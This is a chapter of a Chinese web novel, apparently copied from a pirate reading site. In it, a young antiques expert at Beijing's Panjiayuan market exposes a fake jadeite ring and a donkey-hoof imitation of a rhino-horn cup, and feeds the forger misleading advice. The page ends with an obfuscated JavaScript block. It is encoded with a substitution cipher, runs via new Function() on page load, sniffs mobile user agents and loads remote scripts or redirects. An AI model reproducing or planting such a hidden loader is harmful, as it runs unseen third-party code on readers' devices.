首页
第304章 反其道而行
返回
关灯 护眼:关 字号:小

第304章 反其道而行

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    周末的潘家园,像一锅烧开的豆汁儿,喧腾,滚烫,喧嚣,弥漫着老BJ特有的烟火气。
    人潮在棚户间的过道里涌动,摊主们拖着悠长的调子吆喝,混杂着讨价还价的声浪。
    林思成站在牌坊下,阳光斜切下来,脸上浮出一层淡淡的金光。眼神如同探针,扫过那些或新或假的老物件。
    “嘿,林表弟!”
    削瘦的身影挤开人群,带着一身煎饼果子的葱花味。景泽阳举着塑料杯,“来一口!”
    一股馊抹布的味道窜进鼻孔,林思成眉头微皱。
    他发现,但凡是京城土著,都特喜欢劝外地人喝豆汁儿。叶安宁是这样,景泽阳也是这样。
    不过叶安宁是骗,景泽阳是真心想让他尝一口:“尹三豆汁,上百年的老字号,数遍京城,就这个最地道……”
    百年不至于,不过确实最地道,当然,味道也最怪,林思成上辈子又不是没尝过?
    他坚决的摇摇头:“景哥,我喝不惯!”
    “以后在京城生活久了,你慢慢就习惯了……”
    景泽阳再没有劝,插上吸管,左一口饼,右一口豆汁。
    林思成还好,方进捂着鼻子,躲到了七八米外。
    走着走着,景泽阳发现不对:“何班长呢?”
    “单位临时有任务,今天没来!”
    景泽阳咬着饼,含糊不清:“早该不用来了,这儿是京城,又不是国外?”
    林思成点点头:现在虽然没有十九大以后那么安全,但京城毕竟是首都之地,比上不足,比下有余。
    再说了,自己还没宝贵到专门派人保护的程度。
    他提了几次,张老院长和马院也觉得有些紧张过头,再者节前也忙,就把何班长撤了回去……
    “那你以后再去哪,直接给我打电话!”
    “谢谢景哥!何班长虽然没来,但另外安排了司机!”
    景泽阳点点头:“也对!”
    边走边说,三个人进了市场。
    将将跨过牌坊,景泽阳猛的一顿,两只眼珠往外突。
    不远,也就十来步,一个卖古籍的摊上站着两个身影。
    其中一位尤为显目:高马尾干净地束在脑后,露出饱满光洁的额头。脖颈白晳,眉眼如画,身姿挺拔如松。
    乍一眼,浑身上下都透着一股子利落劲儿。
    顿然间,景泽阳就觉得手里的豆汁儿不香了,踌躇不前,嘴里嘟嘟囊囊:“不是冤家不聚头!”
    林思成瞅了一眼:还真就巧了,是许琴和唐南雁。
    他忍着笑:“景哥你怕什么?无缘无故的,她还能摁住捶你一顿?”
    “林表弟,你不懂!方晴在国外待了一年,感觉没意思,又跑了回来,这段时间拐着弯儿的联系我……”
    景泽阳哀声叹气,指了指不远处的唐南雁,“关键的是,这娘们太爱管闲事,你说我能不躲吗?”
    明白了,好马不吃回头草。
    涉及男女感情,外人不好置喙。但既然遇上了,肯定要打声招呼。
    林思成走了过去,察觉到有人停在身后,唐南雁下意识地转头。
    四目相对,俏眼中闪过一丝不易察觉的惊讶:“呀,林老师?”
    许琴也回过头,不由的一愣:这也太巧了?
    潘家园这么大,竟然能在同一天,同一个过道里撞上。
    其实一点儿都不巧:都是来找国术旧本的,市场虽大,卖古籍比较集中的就这么一块地方,双方能碰到,一点儿都不稀奇。
    “唐警官,许科长。”
    许琴很是惊奇:“林老师,太巧了!”
    “确实巧!”林思成笑着点头,“许科长也来淘东西?”
    许琴有些心虚:“我和南雁都不是很懂,只是心血来潮,随便转转!”
    心血来潮吗?
    林思成随意一瞥,看了看两人身前的那个摊:全是旧书。
    连环画、报纸、小人书、武侠小说……离两人最近的摊边上,豁然放着一本摊开的旧拳谱。
    林思成顿然明了,但没有点破。
    “那两位先看着!”
    许琴刚要点头,唐南雁抢先一步:“林老师,稍等一下……那个……那个……那个……”
    那个了好几个那个,看到不远处的玉器摊,唐南雁急中生智,“我和许姐相中了一件玉器,但一直不敢确定真假,能不能请你帮我们看一看?”
    林思成一看就知道她是现编的,但并不反感:昨天才借了人家的古拳谱,不能过了一夜,就装不认识。
    再者,这两位今天到这儿,肯定是来淘旧拳谱的,为的无非就是向他请教点东西。说来说去,还是想帮他。
    转着念头,他笑了笑:“当然可以,东西在哪?”
    唐南雁顺手一指:“那!”
    “好,过去看看!”
    五个人一起往过走,唐南雁不停的使眼色。
    许琴明白她的意思:帮他淘拳谱是加深关系,请他帮忙不还是加深关系?
    管他白猫花猫,能逮到耗子就是好猫。
    细细一想,还真是这样的道理。
    阳光渐高,空气里浮动着老物件特有的陈旧气息,一行人停在一个玉器摊前。
    摊位上琳琅满目:手镯、项链、玉簪、耳坠、白玉、玛瑙、翡翠、水晶……各式各样,应有尽有。
    摊主是个精瘦的中年男人,眼神活络:“几位,看点什么?”
    唐南雁眼睛一扫,往摊上一指:“林老师,那个,扳指!”
    林思成瞅了瞅:靠中间的位置,摆着几只翡翠扳指,在阳光下熠熠生辉。
    不是很绿,也不是很透,介于两者之间,翠中微泛黄。
    这一种,在翡翠等级中有个专业的词,叫“茶青”,即绿晴水色带一点黄色调。比豆青稍好点,比晴水绿种稍差点。
    如果在珠宝店里,自然算不上特色,但在古玩市场的地摊上,这种已算得上好货了。
    “水头挺足啊?”景泽阳俯身瞅了瞅,“成色不错,看着也挺老?”
    摊主立刻堆起笑:“老板好眼光,正经的老坑茶青种,人祖上传下来的宝贝。要不是家里急用钱,打死也不拿出来……您瞧瞧这水头,这颜色……”
    许琴好奇的凑近了些:说实话,翡翠她检验的不多,虽然林思成才搞过培训,但要说应用于实践中,她还真没几分把握。
    再看这一件:底色青透,微带黄色调,如雨后晴空。
    总不能南琴随意一指,真挑中了一件真东西?
    正转念间,林思成蹲下身,把扳指拿了起来。随意瞅了两眼,他又放了回去。
    “还行!”
    短短的两个字,声调平稳,语气淡然。
    在古董行里滚打了半辈子,察颜观色只是基本功,摊主脸色微微一变,挤出了一丝笑:“您再看看其它的?”
    “谢谢,不用了!”
    林思成起身,随即离开,景泽阳和唐南雁一模一样的表情:一步三回头。
    都拐过了弯,唐南琴还在仰着头回忆:“我看着挺真啊?”
    景泽阳“嘁”的一声:“能拿到这地儿,哪一件看着不真?”
    “好!”唐南雁冷笑,“那你说说,刚才那件哪里不对?”
    景泽阳语塞:他能说出来个捶子?
    其实他也觉得挺真,但林思成瞄一眼就走,看都不愿多看,说明东西肯定有点问题。
    “荧光太假,B货充胶,强酸咬蚀过再用树脂填充的料子,肉眼看着挺真,但紫光灯一照就能看出破绽。”
    林思成的声音不高,“肉眼也能看出来,照着太阳光用放大镜看:天然翡翠的翠性很随机,呈大小不一的片状,刚才那件规则得却像用尺子画出来的网格……”
    唐南雁愣了一下:“但刚才,林老师你也没用放大镜,更没照太阳?”
    林思成笑了笑:“感觉!”
    没哪个专家鉴定的时候,靠的是感觉。但涉及的专业知识太多,一两句说不清。而且说了,唐南雁也不一定能听得懂。
    敷衍的如此明显,唐南雁当然能听得出来,不由的抿住了嘴。
    景泽阳幸灾乐祸的笑,但怕挨打,他没敢笑出声。
    林思成和许琴走在最前面:
    “许科长,我的电话唐警官就有,重新给你留一下也行。如果想探讨什么,你随时都可以给我打电话。我年轻,需要前辈们指点的地方还很多……”
    林思成这是明示:他没她们想像的那么严肃,也没她们想像的那么高傲,想问什么,不用专门找机会。
    许琴脸上浮出几丝不自然:“就怕麻烦你!”
    “谈不上麻烦,也谈不上请教,咱们相互交流。”
    “林老师,谢谢您!”许琴略显感激,“那今天就不打扰您了。”
    “你太客气了!”林思成笑了笑,“如果不忙,可以一起转转。”
    话很简单,却恰到好处,且隐显智慧:既不至于让许琴为难,又不至于因为点破心思而让她尴尬。
    就感觉,林思成一点儿都不像二十出头,风华正茂的年轻人,更像是沉浮多年,阅尽沧桑的智者。
    唐南雁跟在最后面,越想越是奇怪。
    下意识的,看到身后的景泽阳,她心中一动,落后了一步:“景泽阳,你歌舞团的班不上了?”
    景泽阳一撇嘴:“你管得着吗你?”
    “对,我当然管不着!”唐南雁冷笑,“但方晴挺关心的,上周还说想让我陪着她,去歌舞团找你。”
    她找个巴拉她找?
    景泽阳咬着牙:“唐南雁,你能不能少管闲事?”
    “可以,就看你能不能好好说话!”
    我他妈……
    看着唐南雁虚晃了一下拳头,景泽阳顿时就泄了气。
    打又打不过,总不能找大人告状吧?真告了,说不定还得多挨一顿:二十出头的小伙子,天天被个丫头捶,你丢不丢人?
    他深呼一口气:“好,你问!”
    “不是问了吗,你为什么没上班?”
    嘁,你还不如直接点:我为啥整天跟着林思成打转?
    “王三叔安排的!”景泽阳没提秦若之和他堂姐,指了指林思成,“没想到吧:“名师出高徒!”
    谁,王三叔,王齐志?
    唐南雁愣了一下,眼中闪过几丝狐疑:不大可能吧?
    按长辈们的说法:王家就数老三最不靠谱,整个一混不吝。随心所欲,啥都不在乎,由着自己的性子来。
    当然,肯定比景仨儿要强的多,至少不花天酒地,声色犬马。但要说能教出这样的学生,总觉得不大可能。
    其它不说:为什么局里培训,不直接请王齐志过来,而是请他的学生?
    这是其一,其二:性格。
    把眼前的景泽阳的性格放大一倍,就是年轻时的王三叔,这样的性格,教不出这么沉稳内敛的学生。
    思忖间,几个人穿过人流,又拐过几个瓷器和旧书摊。
    大致一扫,看摊上没有他想要的东西,林思成就没有停。
    就这样慢慢的逛,走着走着,一股若有若无的药香钻入鼻端。林思成顿住脚步,目光扫过角落里一个不起眼的小摊。
    摊上杂物横陈,一件造型古朴、隐隐透着温润光泽的犀角杯混在一堆破烂里。
    杯子不大,呈深沉的棕褐色,杯身刻着精细繁复的花纹,表面裹着一层厚重的包浆,显得古意盎然。
    关键的是,那股似有似无的药香。
    更关键的是:这一只,和明定陵(万历皇帝墓)出土,如今珍藏在故宫中的赤霞杯有什么两样?
    林思成叹了口气,看了看窝在躺椅里,看似假寐,实则透过眼逢观察他们的老人。
    “老板,这个杯子能不能看一看?”
    老人微微抬眼,捋了捋山羊胡:“自己拿?”
    挺随性啊?
    但别怀疑,他跟你玩的就是逆反心理。
    林思成点点头,把犀角杯拿在手中。
    他当然知道这一只假的,他只是好奇:为什么能这么像?
    入手后敲了敲,林思成心中一定:原来只是看着很像?
    不论是触感,嗅感,乃至听觉,都天差地别。但这是他见过真品,而且研究的相当深入的前提下。
    给普通人,乃至于像赵师兄、老师那样的半高手,咋看咋像真犀角。
    同样只是一眼,林思成又放了回去。
    原本极为淡定,一副姜太公稳坐钓鱼台的老板睁开了眼睛:“没看上?”
    林思成不置可否:“还行!”
    一听还行,老人坐直了腰。
    在其它地方,还行代表的意思可能依旧是“还行”,但在这儿,是明着告诉你:你这东西不对。
    这倒稀奇了,看过这东西的人多到数不过来,还是第一次见人这么自信,这么笃定的。
    他站了起来,掏出烟盒递了一根。别说,烟还不错:硬中。
    “小哥儿,讲一讲,哪里还行?”
    林思成叹了口气
    别看人家是骗子,却知道学习,更明白与时俱进。
    哪怕心里在怀疑:这小子嘴上没毛,懂个鸡毛?但还是抱着宁杀错,别放过的心态:万一这小子看出点什么来了呢?
    所谓技多不压身,下次仿的时候,至少知道怎么改进……
    转着念头,他摆摆手,指了指杯子:“烧的时候硝太重,有味儿。”
    “咦?”
    老人僵住,好久才回过神。
    他郑重其事抱了抱拳,又拿过一支马扎:“得请教请教!”
    但林思成没动。
    老人想了想,掏出了钱包:“得教学费是吧?”
    所有人都瞪大了眼镜,包括景泽阳、许琴、唐南雁,以及方进。
    不夸张:他们真是第一次见这样的。
    林思成哭笑不得:得混到什么份上,才犯得着给一造假的骗子指点?
    他摇摇头,“我先请教一下:这是哪的驴蹄子,咋这么大,这么长?”
    老人猛的往后一仰,活见鬼一样,眼珠子都快蹦出来了:“同行?”
    “干这个的到不了这儿来,我就是纯好奇!”林思成又指了指杯子,“你先说这是哪儿的驴,我再给你说两个破绽。”
    老人深信不疑。
    只是一眼就能看出这是驴蹄子,而非水牛黄牛牦牛角,这人绝对是个内行中的内行。
    怕人听见,他压低声音,吐了一个字:“藏!”
    稍一思索,林思成恍然大悟:好家伙,藏野驴?
    仿造这么一只杯子,光是成本就是十好几万。怪不得半遮半掩,欲擒故纵,摆一堆破烂中间?
    他点点头:“酸味太重,烧的也太狠,冰裂纹太深,竹丝纹(犀角特有纹路)太粗……泡的时间太短,染色剂不匀。”
    “还有,只煮了一个对时,煮的不彻底:腥膻味太重,甚至还有尿味和驴粪味!”
    老板浑身一震,惊为天人。
    这些破绽确实有,但他敢保证:别说藏家、玩家,叫十个专业鉴定角器的专家,其中的八个至多也就能看出其中的其一点。
    剩下的两个可能会看全,但绝对不会这么快。给他算短一点:少于一个小时,老板敢把这只杯子嚼着吃了。
    他忙从袖子里一摸,掏出一串奶白色的珠子,又往下一揖。
    珠子挺大,也挺白,就是有点儿新。
    不是老物件,算是手工艺品:砗磲。
    国内虽然早就禁止捕捞,但东南亚却没禁。所以不算很贵,这么一串,成本价差不多千儿八百。
    林思成笑了笑:“这怎么好意思?”
    老人满脸堆笑:“您帮帮忙。”
    “办法我肯定没有,顶多再给你指一点!”
    老人腰弯的更低了:“您说!”
    林思成把珠子接在手里:“别用来凤藤泡了,这东西黄酮含量确实高,确实可以骗过普通藏家,以为是古代宫廷御医炮制的真犀角。
    但给老中医,一眼就能识破:这玩意,到八十年代才发现,九十年代才列入中药目录……古代哪有这东西?”
    老人猛的怔住:他一造假犀角杯的,哪知道什么是新中药,什么是老中药?
    能知道来凤藤,他不知交了多少学费,费了多少功夫?
    愣了好久,直到林思成转身离开,老板才回过神。
    看着林思成的背影,他拱起手,又往下一揖,腰弯成了九十度。
    这何止是内行,这他妈是高人啊……
    林思成盘着串,八只眼睛不时的往后看一看,然后再看看林思成。
    直到这会儿,他们才想明白:那只犀角杯是驴蹄子仿造的。但破绽太多,被林思成一一识破。
    那老板佩服的五体投地,又感念他指点,所以给他送了只串。
    说实话,除了方进,其他三位没少逛潘家园,但今天这一出,真就是第一次见。
    再看那位老人,他们都走出了十来步,还双手抱歉,目送着林思成离开。
    一时间,唐南雁欲言又止,不知道该不该问。
    跟了好长一截,她终是没忍住:“林老师,他们用的驴蹄子,是不是从青藏偷猎来的?”
    “擦边造个假古董,犯不着冒那么大风险。国内管得严,国外却松的一塌糊涂,就像这只砗磲珍珠串……他造那只杯子的蹄子,应该是雇人到印度、尼泊尔、巴基斯坦猎杀,当场炮制……”
    稍一顿,林思成笑了笑,“唐警官想问的应该不是这个吧,你是不是在想,我怎么给骗子支招?”
    被道破心思,唐南雁不好意思的笑了笑,又点点头。
    委实是林思成给她留的印象太深刻:能独闯虎穴,嫉恶如仇的人,更能无私奉私,把压箱底的绝招教给警察的人,不可能为了这么一只串儿,教骗子怎么骗更多的人?
    她一时拐不过弯:前后反差太大,总不能是人格分裂吧?
    “放心,那些问题,我不说他也知道。关键的是,他一个都解决不掉!”
    林思成转着串儿,“犀角杯之所以有药效,关键点就在于活割。驴蹄子自然没药效,但想要仿品像犀角一样血泌深入角质层,同样要活割,而且要现割现炮制……”
    “在平原当然无所谓,但在高原地区,开水最多烧九十度,别说煮二十四小时,他就是煮一个月,也去不尽腥膻味。”
    “其次,驴蹄子颜色太深,基本都是黑色。而颜色最深的犀角,也只是接近深褐色。想要把仿品的颜色弄浅,就必须拿酸烧。但不管是什么酸,必然会留味,必然会造成粗深的龟裂纹,而非自然的竹丝纹和冰裂纹……”
    唐南雁恍然大悟:林思成压根就不是指点,而是反其道而行,把那摊主往黑道上指。
    那人越是信以为真,就越会往深里琢磨。而他琢磨的越深,他那杯子就造的越假……
    哈哈……原来还能这么干?
    顿然,两只俏眼里放起了光……
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();